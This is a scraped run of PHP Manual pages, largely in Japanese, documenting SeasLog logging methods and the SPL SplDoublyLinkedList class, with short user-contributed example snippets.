  • SeasLog::emergency() - Record emergency log information

User Contributed Notes

There are no user contributed notes for this page.


Record notice log information

  • ≪ SeasLog::log
  • SeasLog::setBasePath ≫
  • PHP Manual
  • SeasLog
  • Record notice log information

SeasLog::notice

(PECL seaslog >=1.0.0)

SeasLog::notice — Record notice log information

説明

public static SeasLog::notice ( string $message , array $content = ? , string $logger = ? ) : bool

Record notice log information.

注意:

"NOTICE" - Normal but significant events.Information that is more important than the INFO level during execution.

パラメータ

message

The log message.

content

The `message` contain placeholders which implementors replace with values from content array. Sush as `message` is `log info from {NAME}` and `content` is `array('NAME' => neeke)`, the log information will `log info from neeke`.

logger

The `logger` cased by the third param would be used right this right now, like a temp logger, when the function SeasLog::setLogger() called in pre content. If `logger` NULL or "", SeasLog will use lastest logger setted by SeasLog::setLogger().

返り値

Return TRUE on record log information success, FALSE on failure.

例

例1 SeasLog::notice() example

<?php

var_dump(SeasLog::notice('log message'));

//with content
var_dump(SeasLog::notice('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::notice('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | NOTICE | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | NOTICE | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | NOTICE | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参考

  • seaslog.default_template
  • SeasLog::debug() - Record debug log information
  • SeasLog::info() - Record info log information
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - Record error log information
  • SeasLog::critical() - Record critical log information
  • SeasLog::alert() - Record alert log information
  • SeasLog::emergency() - Record emergency log information
  • SeasLog::log() - The Common Record Log Function

User Contributed Notes

There are no user contributed notes for this page.


Set SeasLog base path

  • ≪ SeasLog::notice
  • SeasLog::setDatetimeFormat ≫
  • PHP Manual
  • SeasLog
  • Set SeasLog base path

SeasLog::setBasePath

(PECL seaslog >=1.0.0)

SeasLog::setBasePath — Set SeasLog base path

説明

public static SeasLog::setBasePath ( string $base_path ) : bool

Set SeasLog base path.

パラメータ

base_path

String.

返り値

Return TRUE on setted base path success, FALSE on failure.

例

例1 SeasLog::setBasePath() example

<?php

/* ... */

?>

上の例の出力は、 たとえば以下のようになります。

...

User Contributed Notes

There are no user contributed notes for this page.


Set SeasLog datetime format style

  • ≪ SeasLog::setBasePath
  • SeasLog::setLogger ≫
  • PHP Manual
  • SeasLog
  • Set SeasLog datetime format style

SeasLog::setDatetimeFormat

(PECL seaslog >=1.0.0)

SeasLog::setDatetimeFormat — Set SeasLog datetime format style

説明

public static SeasLog::setDatetimeFormat ( string $format ) : bool

Set SeasLog datetime format style.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

format

String. Such as `Y-m-d H:i:s` or `Ymd His`. See also first param `format` at date().

返り値

Return TRUE on setted datetime format success, FALSE on failure.

例

例1 SeasLog::setDatetimeFormat() example

<?php

var_dump(SeasLog::setDateTimeFormat('Ymd His'));

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)

参考

  • SeasLog::getDateTimeFormat() - Get SeasLog datetime format style

User Contributed Notes

There are no user contributed notes for this page.


Set SeasLog logger name

  • ≪ SeasLog::setDatetimeFormat
  • SeasLog::setRequestID ≫
  • PHP Manual
  • SeasLog
  • Set SeasLog logger name

SeasLog::setLogger

(PECL seaslog >=1.0.0)

SeasLog::setLogger — Set SeasLog logger name

説明

public static SeasLog::setLogger ( string $logger ) : bool

Use the Function SeasLog::setLogger() will change the value of function SeasLog::getLastLogger(). Than's mean, SeasLog will record loginfo into the logger directory.

パラメータ

logger

Logger name.

返り値

Return TRUE on created logger disectory success, FALSE on failure.

例

例1 SeasLog::setLogger() example

<?php

var_dump(SeasLog::setLogger('testModule/testLogger'));

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)

参考

  • SeasLog::getLastLogger() - Get SeasLog last logger path
  • SeasLog::closeLoggerStream() - Manually release stream flow from logger

User Contributed Notes

There are no user contributed notes for this page.


Set SeasLog request_id differentiated requests

  • ≪ SeasLog::setLogger
  • SeasLog::setRequestVariable ≫
  • PHP Manual
  • SeasLog
  • Set SeasLog request_id differentiated requests

SeasLog::setRequestID

(PECL seaslog >=1.0.0)

SeasLog::setRequestID — Set SeasLog request_id differentiated requests

説明

public static SeasLog::setRequestID ( string $request_id ) : bool

To distinguish a single request, such as not invoking the SeasLog::setRequestId() function， the unique value generated by the built-in `static char *get_uniqid ()` function is used when the request is initialized.

パラメータ

request_id

String.

返り値

Return TRUE on set request_id success, FALSE on failure.

例

例1 SeasLog::setRequestID() example

<?php

var_dump(SeasLog::setRequestID(time() . rand()));

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)

参考

  • SeasLog::getRequestID() - Get SeasLog request_id differentiated requests

User Contributed Notes

There are no user contributed notes for this page.


Manually set SeasLog request variable

  • ≪ SeasLog::setRequestID
  • SeasLog::warning ≫
  • PHP Manual
  • SeasLog
  • Manually set SeasLog request variable

SeasLog::setRequestVariable

(PECL seaslog >=1.9.0)

SeasLog::setRequestVariable — Manually set SeasLog request variable

説明

public static SeasLog::setRequestVariable ( int $key , string $value ) : bool

Manually set SeasLog request variable.

パラメータ

key

Constant int.

  • SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT
  • SEASLOG_REQUEST_VARIABLE_REQUEST_URI
  • SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD
  • SEASLOG_REQUEST_VARIABLE_CLIENT_IP

value

The request variable value.

返り値

Return TRUE on set success, FALSE on failure.

例

例1 SeasLog::setRequestVariable() example

<?php

$sDomainPort = 'domain:port';
$sRequestUri = 'uri';
$sRequestMethod = 'method';
$sClientIp = 'client_ip';

$iErrorKey = 1000;

$oSeasLog = new SeasLog();

var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT, $sDomainPort));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI, $sRequestUri));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD, $sRequestMethod));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP, $sClientIp));

var_dump($oSeasLog->setRequestVariable($iErrorKey,NULL));

var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT) == $sDomainPort);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI) == $sRequestUri);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD) == $sRequestMethod);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP) == $sClientIp);

var_dump($oSeasLog->getRequestVariable($iErrorKey));

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)
bool(false)

参考

  • SeasLog::getRequestVariable() - Get SeasLog request variable

User Contributed Notes

There are no user contributed notes for this page.


Record warning log information

  • ≪ SeasLog::setRequestVariable
  • SPL ≫
  • PHP Manual
  • SeasLog
  • Record warning log information

SeasLog::warning

(PECL seaslog >=1.0.0)

SeasLog::warning — Record warning log information

説明

public static SeasLog::warning ( string $message , array $content = ? , string $logger = ? ) : bool

Record warning log information.

注意:

"WARNING" - Exceptional occurrences that are not errors. Potentially aberrant information that needs attention and needs to be repaired.

パラメータ

message

The log message.

content

The `message` contain placeholders which implementors replace with values from content array. Sush as `message` is `log info from {NAME}` and `content` is `array('NAME' => neeke)`, the log information will `log info from neeke`.

logger

The `logger` cased by the third param would be used right this right now, like a temp logger, when the function SeasLog::setLogger() called in pre content. If `logger` NULL or "", SeasLog will use lastest logger setted by SeasLog::setLogger().

返り値

Return TRUE on record log information success, FALSE on failure.

例

例1 SeasLog::warning() example

<?php

var_dump(SeasLog::warning('log message'));

//with content
var_dump(SeasLog::warning('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::warning('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | WARNING | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | WARNING | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | WARNING | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参考

  • seaslog.default_template
  • SeasLog::debug() - Record debug log information
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - Record notice log information
  • SeasLog::error() - Record error log information
  • SeasLog::critical() - Record critical log information
  • SeasLog::alert() - Record alert log information
  • SeasLog::emergency() - Record emergency log information
  • SeasLog::log() - The Common Record Log Function

User Contributed Notes

There are no user contributed notes for this page.


Standard PHP Library (SPL)

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • データ構造
    • SplDoublyLinkedList — SplDoublyLinkedList クラス
    • SplStack — SplStack クラス
    • SplQueue — SplQueue クラス
    • SplHeap — SplHeap クラス
    • SplMaxHeap — SplMaxHeap クラス
    • SplMinHeap — SplMinHeap クラス
    • SplPriorityQueue — SplPriorityQueue クラス
    • SplFixedArray — SplFixedArray クラス
    • SplObjectStorage — SplObjectStorage クラス
  • イテレータ
    • AppendIterator — AppendIterator クラス
    • ArrayIterator — ArrayIterator クラス
    • CachingIterator — CachingIterator クラス
    • CallbackFilterIterator — CallbackFilterIterator クラス
    • DirectoryIterator — DirectoryIterator クラス
    • EmptyIterator — EmptyIterator クラス
    • FilesystemIterator — FilesystemIterator クラス
    • FilterIterator — FilterIterator クラス
    • GlobIterator — GlobIterator クラス
    • InfiniteIterator — InfiniteIterator クラス
    • IteratorIterator — IteratorIterator クラス
    • LimitIterator — LimitIterator クラス
    • MultipleIterator — MultipleIterator クラス
    • NoRewindIterator — NoRewindIterator クラス
    • ParentIterator — ParentIterator クラス
    • RecursiveArrayIterator — RecursiveArrayIterator クラス
    • RecursiveCachingIterator — RecursiveCachingIterator クラス
    • RecursiveCallbackFilterIterator — RecursiveCallbackFilterIterator クラス
    • RecursiveDirectoryIterator — RecursiveDirectoryIterator クラス
    • RecursiveFilterIterator — RecursiveFilterIterator クラス
    • RecursiveIteratorIterator — RecursiveIteratorIterator クラス
    • RecursiveRegexIterator — RecursiveRegexIterator クラス
    • RecursiveTreeIterator — RecursiveTreeIterator クラス
    • RegexIterator — RegexIterator クラス
  • インターフェイス
    • Countable — Countable インターフェイス
    • OuterIterator — OuterIterator インターフェイス
    • RecursiveIterator — RecursiveIterator インターフェイス
    • SeekableIterator — SeekableIterator インターフェイス
  • 例外
    • BadFunctionCallException — BadFunctionCallException クラス
    • BadMethodCallException — BadMethodCallException クラス
    • DomainException — DomainException クラス
    • InvalidArgumentException — InvalidArgumentException クラス
    • LengthException — LengthException クラス
    • LogicException — LogicException クラス
    • OutOfBoundsException — OutOfBoundsException クラス
    • OutOfRangeException — OutOfRangeException クラス
    • OverflowException — OverflowException クラス
    • RangeException — RangeException クラス
    • RuntimeException — RuntimeException クラス
    • UnderflowException — UnderflowException クラス
    • UnexpectedValueException — UnexpectedValueException クラス
  • SPL 関数
    • class_implements — 与えられたクラスあるいはインターフェイスが実装しているインターフェイスを返す
    • class_parents — 与えられたクラスの親クラスを返す
    • class_uses — 指定したクラスが使っているトレイトを返す
    • iterator_apply — ユーザー関数をイテレータのすべての要素でコールする
    • iterator_count — イテレータにある要素をカウントする
    • iterator_to_array — イテレータを配列にコピーする
    • spl_autoload_call — 要求されたクラスを読み込むために、すべての登録済みの __autoload() 関数を試す
    • spl_autoload_extensions — spl_autoload 用のデフォルトの拡張子を登録し、それを返す
    • spl_autoload_functions — すべての登録済み __autoload() 関数を返す
    • spl_autoload_register — 指定した関数を __autoload() の実装として登録する
    • spl_autoload_unregister — 指定した関数の、__autoload() の実装としての登録を解除する
    • spl_autoload — __autoload() のデフォルト実装
    • spl_classes — 利用可能な SPL クラスを返す
    • spl_object_hash — 指定したオブジェクトのハッシュ ID を返す
    • spl_object_id — 与えられたオブジェクトを扱う数値オブジェクトを返す
  • ファイル操作
    • SplFileInfo — SplFileInfo クラス
    • SplFileObject — SplFileObject クラス
    • SplTempFileObject — The SplTempFileObject クラス
  • その他のクラスおよびインターフェイス
    • ArrayObject — ArrayObject クラス
    • SplObserver — SplObserver インターフェイス
    • SplSubject — SplSubject インターフェイス

User Contributed Notes

There are no user contributed notes for this page.


はじめに

The Standard PHP Library (SPL) は、標準的な問題を解決するためのインターフェイスやクラスを集めたものです。

SPL は、標準データ構造や、オブジェクトを走査するためのイテレータ、インターフェイス、標準の例外、そしてファイルを扱うクラスなどを提供し、 spl_autoload_register() などの関数も提供します。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

警告

PHP 5.1 以降、SPL はクラス定数を使用します。それより前のリリースでは、 RIT_LEAVES_ONLY のような形式のグローバル定数を使用します。

User Contributed Notes

There are no user contributed notes for this page.


データ構造

目次

  • SplDoublyLinkedList
  • SplStack
  • SplQueue
  • SplHeap
  • SplMaxHeap
  • SplMinHeap
  • SplPriorityQueue
  • SplFixedArray
  • SplObjectStorage

SPL では、標準的なデータ構造を提供しています。 ここで、それらを実装ごとに分類してまとめます。

双方向リンクリスト

双方向リンクリスト (Doubly Linked List: DLL) は、双方向のノードへのリンクを持つノードのリストです。 イテレータの操作、両隣へのアクセス、ノードの追加や削除のコストは、 データ構造が DLL の場合は O(1) となります。 これは、スタックやキューを実装するのに適しています。

  • SplDoublyLinkedList
    • SplStack
    • SplQueue

ヒープ

ヒープは、ツリー風の構造です。ヒープ特有の性質として、 個々のノードはその子ノードと等しいかそれより大きな値となります。 値の比較は、ヒープ全体の比較メソッドとして実装されているものを使用します。

  • SplHeap
    • SplMaxHeap
    • SplMinHeap
  • SplPriorityQueue

配列

配列は、データを連続的に格納してインデックス経由でアクセスできるようにした構造です。 PHP の配列と混同しないようにしましょう。PHP の配列は、 実際のところは順序つきハッシュテーブルとして実装されています。

  • SplFixedArray

マップ

マップは、キー/値 のペアからなるデータ構造です。 PHP の配列は、整数値/文字列を値と対応させたマップとみなすことができます。 SPL では、オブジェクトとデータを対応させるマップを提供しています。 このマップは、オブジェクトの集合として扱うことができます。

  • SplObjectStorage

User Contributed Notes

There are no user contributed notes for this page.


SplDoublyLinkedList クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

SplDoublyLinkedList クラスは、双方向リンクリストの主要な機能を提供します。

クラス概要

SplDoublyLinkedList implements Iterator , ArrayAccess , Countable , Serializable {
/* 定数 */
const int IT_MODE_LIFO = 2 ;
const int IT_MODE_FIFO = 0 ;
const int IT_MODE_DELETE = 1 ;
const int IT_MODE_KEEP = 0 ;
/* メソッド */
public __construct ( )
public add ( mixed $index , mixed $newval ) : void
public bottom ( ) : mixed
public count ( ) : int
public current ( ) : mixed
public getIteratorMode ( ) : int
public isEmpty ( ) : bool
public key ( ) : mixed
public next ( ) : void
public offsetExists ( mixed $index ) : bool
public offsetGet ( mixed $index ) : mixed
public offsetSet ( mixed $index , mixed $newval ) : void
public offsetUnset ( mixed $index ) : void
public pop ( ) : mixed
public prev ( ) : void
public push ( mixed $value ) : void
public rewind ( ) : void
public serialize ( ) : string
public setIteratorMode ( int $mode ) : void
public shift ( ) : mixed
public top ( ) : mixed
public unserialize ( string $serialized ) : void
public unshift ( mixed $value ) : void
public valid ( ) : bool
}

定義済み定数

イテレーションの方向

SplDoublyLinkedList::IT_MODE_LIFO

スタックのように、LIFO (最後に入れたものを最初に取り出す) の順で走査されます。

SplDoublyLinkedList::IT_MODE_FIFO

キューのように、FIFO(先入れ先出し) の順で走査されます。

イテレーションの振る舞い

SplDoublyLinkedList::IT_MODE_DELETE

走査された要素を削除します。

SplDoublyLinkedList::IT_MODE_KEEP

走査されても要素を削除しません。

目次

  • SplDoublyLinkedList::add — 特定のインデックスに新しい値を 追加/挿入 する
  • SplDoublyLinkedList::bottom — 双方向リンクリストの最初のノードを取得する
  • SplDoublyLinkedList::__construct — 新しい双方向リンクリストを作成する
  • SplDoublyLinkedList::count — 双方向リンクリストの要素数を数える
  • SplDoublyLinkedList::current — 現在の配列の要素を返す
  • SplDoublyLinkedList::getIteratorMode — 反復処理のモードを返す
  • SplDoublyLinkedList::isEmpty — 双方向リンクリストが空かどうかを調べる
  • SplDoublyLinkedList::key — 現在のノードのインデックスを返す
  • SplDoublyLinkedList::next — 次のエントリに移動する
  • SplDoublyLinkedList::offsetExists — 指定した $index が存在するかどうかを返す
  • SplDoublyLinkedList::offsetGet — 指定した $index の値を返す
  • SplDoublyLinkedList::offsetSet — 指定した $index の値を $newval に設定する
  • SplDoublyLinkedList::offsetUnset — 指定した $index の値を削除する
  • SplDoublyLinkedList::pop — 双方向リンクリストの末尾からノードを取り出す
  • SplDoublyLinkedList::prev — 前のエントリに移動する
  • SplDoublyLinkedList::push — 双方向リンクリストの末尾に要素を追加する
  • SplDoublyLinkedList::rewind — イテレータを先頭に巻き戻す
  • SplDoublyLinkedList::serialize — ストレージをシリアライズする
  • SplDoublyLinkedList::setIteratorMode — 反復処理のモードを設定する
  • SplDoublyLinkedList::shift — 双方向リンクリストの先頭からノードを取り出す
  • SplDoublyLinkedList::top — 双方向リンクリストの最後のノードを取得する
  • SplDoublyLinkedList::unserialize — ストレージをデシリアライズする
  • SplDoublyLinkedList::unshift — 双方向リンクリストの先頭に要素を追加する
  • SplDoublyLinkedList::valid — 双方向リンクリストにまだノードがあるかどうかを調べる

User Contributed Notes

lincoln dot du dot j at gmail dot com 12-Jul-2017 06:28
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];
for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$a->push(11); //push method
$a->add(10,12); //add method must with index
$a->shift(); //remove array first value
$a->unshift(1); //add first value

$a->rewind(); //initial from first

echo "SplDoublyLinkedList array last/top value " .  $a->top() ." \n";
echo "SplDoublyLinkedList array count value " .  $a->count() ." \n";
echo "SplDoublyLinkedList array first/top value " . $a->bottom() . " \n\n";

while($a->valid()){ //check with valid method
    echo 'key ', $a->key(), ' value ', $a->current(),"\n"; //key and current method use here
    $a->next(); //next method use here
}

$a->pop(); //remove array last value
print_r($a);
$s=$a->serialize();
echo $s;

//Output
SplDoublyLinkedList array last/top value 12
SplDoublyLinkedList array count value 11
SplDoublyLinkedList array first/top value 1

key 0 value 1
key 1 value 2
key 2 value 3
key 3 value 4
key 4 value 5
key 5 value 6
key 6 value 7
key 7 value 8
key 8 value 9
key 9 value 11
key 10 value 12
SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
            [4] => 5
            [5] => 6
            [6] => 7
            [7] => 8
            [8] => 9
            [9] => 11
        )

)
i:0;:i:1;:i:2;:i:3;:i:4;:i:5;:i:6;:i:7;:i:8;:i:9;:i:11;
dongchao769390531 at 163 dot com 06-Jun-2017 10:03
<?php
$splDoubleLinkedList = new SplDoublyLinkedList();
$splDoubleLinkedList->push('a');
$splDoubleLinkedList->push('3');
$splDoubleLinkedList->push('v');
$splDoubleLinkedList->push('1');
$splDoubleLinkedList->push('p');
//First of all, we need rewind list
$splDoubleLinkedList->rewind();
//Use while, check if the list has valid node
while ($splDoubleLinkedList->valid()){
    //Print current node's value
    echo $splDoubleLinkedList->current()."\n";
    //Turn the cursor to next node
    $splDoubleLinkedList->next();
}
?>
Maaz Rehman 17-May-2015 06:54
/*
php doubly link list is an amazing data structure ,doubly means you can traverse forward as well as backward, it can act as a deque(double ended queue) if you want it to,
here is how it works

*/

//instantiating an object of doubly link list

$dlist=new SplDoublyLinkedList();

//a push inserts data at the end of the list
$dlist->push('hiramariam');
$dlist->push('maaz');
$dlist->push('zafar');

/* the list contains
hiramariam
maaz
zafar
*/

//while an unshift inserts an object at top of the list
$dlist->unshift(1);
$dlist->unshift(2);
$dlist->unshift(3);

/* the list now contains
3
2
1
hiramariam
maaz
zafar
*/

//you can delete an item from the bottom of the list by using pop
$dlist->pop();

/* the list now contains
3
2
1
hiramariam
maaz

*/
//you can delete an item from the top of the list by using shift()
$dlist->shift();

/* the list now contains

2
1
hiramariam
maaz

*/

/* if you want to replace an item at particular index you can use a method named add , note that if you want to replace an item that does not exist , an exception will be thrown*/

$dlist->add(3 , 2.24);

/*
to go through the list we use a simple for loop, the rewind() method shown below point to the initials of the list depending on the iterator, a valid() method checks whether a list is still valid or not , meaning it ensures the loop does not go on and on after we reach the last data in the list , and the next() method simply points to the next data in the list.

*/
for($dlist->rewind();$dlist->valid();$dlist->next()){

    echo $dlist->current()."<br/>";
    }
echo "<br/>";
/*

To traverse backward

*/
$dlist->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);
for($dlist->rewind();$dlist->valid();$dlist->next()){

    echo $dlist->current()."<br/>";;
    }
Gilles A 09-Aug-2013 12:19
FIFO and LIFO in SplDoublyLinkedList

$list = new SplDoublyLinkedList();
$list->push('a');
$list->push('b');
$list->push('c');
$list->push('d');

echo "FIFO (First In First Out) :\n";
$list->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO);
for ($list->rewind(); $list->valid(); $list->next()) {
    echo $list->current()."\n";
}

Result :

// FIFO (First In First Out):
// a
// b
// c
// d

echo "LIFO (Last In First Out) :\n";
$list->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);
for ($list->rewind(); $list->valid(); $list->next()) {
    echo $list->current()."\n";
}

Result :

// LIFO (Last In First Out):
// d
// c
// b
// a


特定のインデックスに新しい値を 追加/挿入 する

  • ≪ SplDoublyLinkedList
  • SplDoublyLinkedList::bottom ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 特定のインデックスに新しい値を 追加/挿入 する

SplDoublyLinkedList::add

(PHP 5 >= 5.5.0, PHP 7)

SplDoublyLinkedList::add — 特定のインデックスに新しい値を 追加/挿入 する

説明

public SplDoublyLinkedList::add ( mixed $index , mixed $newval ) : void

指定された index に newval を挿入し、 以前その位置にあった値(とそれ以後にあるリストの値すべて)をシャッフルします

パラメータ

index

新しい値が挿入されるインデックス

newval

index に入る新しい値

返り値

値を返しません。

エラー / 例外

index が範囲外だったり、 index が数値としてパースできない場合は、 OutOfRangeException がスローされます。

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:07
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

print_r($a);

//Output:

SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
            [4] => 5
            [5] => 6
            [6] => 7
            [7] => 8
            [8] => 9
        )

)
gandung at ppp dot cylab dot cmu dot edu 12-Mar-2017 03:38
Maybe the basic usage is like this i think..

$a = new \SplDoublyLinkedList;

if ($a instanceof \SplDoublyLinkedList) {
    $a->add(0, 'Paulus');
    $a->add(1, 'Gandung');
    $a->add(2, 'Prakosa');

    // then, iterate over that because \SplDoublyLinkedList
    // is implementing \Iterator interface.
    foreach ($a as $value) {
        echo sprintf("%s\n", $value);
    }
}


双方向リンクリストの最初のノードを取得する

  • ≪ SplDoublyLinkedList::add
  • SplDoublyLinkedList::__construct ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 双方向リンクリストの最初のノードを取得する

SplDoublyLinkedList::bottom

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::bottom — 双方向リンクリストの最初のノードを取得する

説明

public SplDoublyLinkedList::bottom ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

最初のノードの値を返します。

エラー / 例外

データが空のときは RuntimeException をスローします。

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:30
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

echo "SplDoublyLinkedList array last/top value " .  $a->top() ." \n";
echo "SplDoublyLinkedList array first/top value " . $a->bottom() . " \n\n";

print_r($a);

//Another Example
$spl = new SplDoublyLinkedList;

$spl->push(11);
$spl->push(2);
$spl->push(3);
$spl->push(8);
$spl->push(5);

//array last value
echo $spl->top();
echo PHP_EOL;
//Array first value
echo $spl->bottom();
echo PHP_EOL;

print_r($spl);
tstirrat at gmail dot com 27-Apr-2014 10:27
A note on top() and bottom():

Picture the doubly-linked list (or queue) in the same way that you would a stack.

Say you started with an empty queue, and added five values:

$myList = new SplDoublyLinkedList

$mylist->push(1)
$mylist->push(2)
$mylist->push(3)
$mylist->push(4)
$mylist->push(5)

$mylist->top()
-> 5

$mylist->bottom()
-> 1
rakesh dot mishra at gmail dot com 26-Jan-2011 10:39
<?php

/*
 * Examples of DoublyLinkedList
 */

$obj = new SplDoublyLinkedList();

// Check wither linked list is empty
if ($obj->isEmpty())
{
    echo "Adding nodes to Linked List<br>";
    $obj->push(2);
    $obj->push(3);

    echo "Adding the node at beginning of doubly linked list <br>";
    $obj->unshift(10);
}

echo "<br>Our Linked List:";
print_r($obj);

echo "<br>Pick the node from beginning of doubly linked list";
echo $obj->bottom();

?>


新しい双方向リンクリストを作成する

  • ≪ SplDoublyLinkedList::bottom
  • SplDoublyLinkedList::count ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 新しい双方向リンクリストを作成する

SplDoublyLinkedList::__construct

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::__construct — 新しい双方向リンクリストを作成する

説明

public SplDoublyLinkedList::__construct ( )

新しい空の双方向リンクリストを作成します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 SplDoublyLinkedList::__construct() の例

<?php
$dll = new SplDoublyLinkedList();

$dll->push(2);
$dll->push(3);
$dll->unshift(5);

var_dump($dll);
?>

上の例の出力は以下となります。

object(SplDoublyLinkedList)#1 (2) {
  ["flags":"SplDoublyLinkedList":private]=>
  int(0)
  ["dllist":"SplDoublyLinkedList":private]=>
  array(3) {
    [0]=>
    int(5)
    [1]=>
    int(2)
    [2]=>
    int(3)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


双方向リンクリストの要素数を数える

  • ≪ SplDoublyLinkedList::__construct
  • SplDoublyLinkedList::current ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 双方向リンクリストの要素数を数える

SplDoublyLinkedList::count

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::count — 双方向リンクリストの要素数を数える

説明

public SplDoublyLinkedList::count ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

双方向リンクリストの要素数を返します。

User Contributed Notes

There are no user contributed notes for this page.


現在の配列の要素を返す

  • ≪ SplDoublyLinkedList::count
  • SplDoublyLinkedList::getIteratorMode ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 現在の配列の要素を返す

SplDoublyLinkedList::current

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::current — 現在の配列の要素を返す

説明

public SplDoublyLinkedList::current ( ) : mixed

双方向リンクリストの現在のノードを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のノードの値を返します。

User Contributed Notes

rakesh dot mishra at gmail dot com 26-Jan-2011 11:18
<?php

/*
 * Examples of DoublyLinkedList
 */

$obj = new SplDoublyLinkedList();
// Check wither linked list is empty
if ($obj->isEmpty())
{
    echo "Adding nodes to Linked List<br>";
    $obj->push(2);
    $obj->push(3);
    echo "Adding the node at beginning of doubly linked list <br>";
    $obj->unshift(10);
}

echo "<br>Our Linked List:";
print_r($obj);

$curr = $obj->current(); // this will return NULL as we have not set initial node.

echo "<br> Rewinding the position so that current node points to first node ";
$obj->rewind();

echo "<br>Current node of the linked list:";
echo  $obj->current(); // this will print first node of the linked list.

echo "<br>Moving to Next node:";
$obj->next();

echo "<br>Printing the next node:";
echo $obj->current();

?>


反復処理のモードを返す

  • ≪ SplDoublyLinkedList::current
  • SplDoublyLinkedList::isEmpty ≫
  • PHP Manual
  • SplDoublyLinkedList
  • 反復処理のモードを返す

SplDoublyLinkedList::getIteratorMode

(PHP 5 >= 5.3.0, PHP 7)

SplDoublyLinkedList::getIteratorMode — 反復処理のモードを返す

説明

public SplDoublyLinkedList::getIteratorMode ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

反復処理の才のモードおよびフラグを返します。

User Contributed Notes

gregorypatmore at gmail dot com 11-Dec-2011 10:32
I think it should be noted that the IT_MODE_* constants are defined inside the class as:

IT_MODE_LIFO => int(2)
IT_MODE_FIFO => int(0)
IT_MODE_DELETE => int(1)
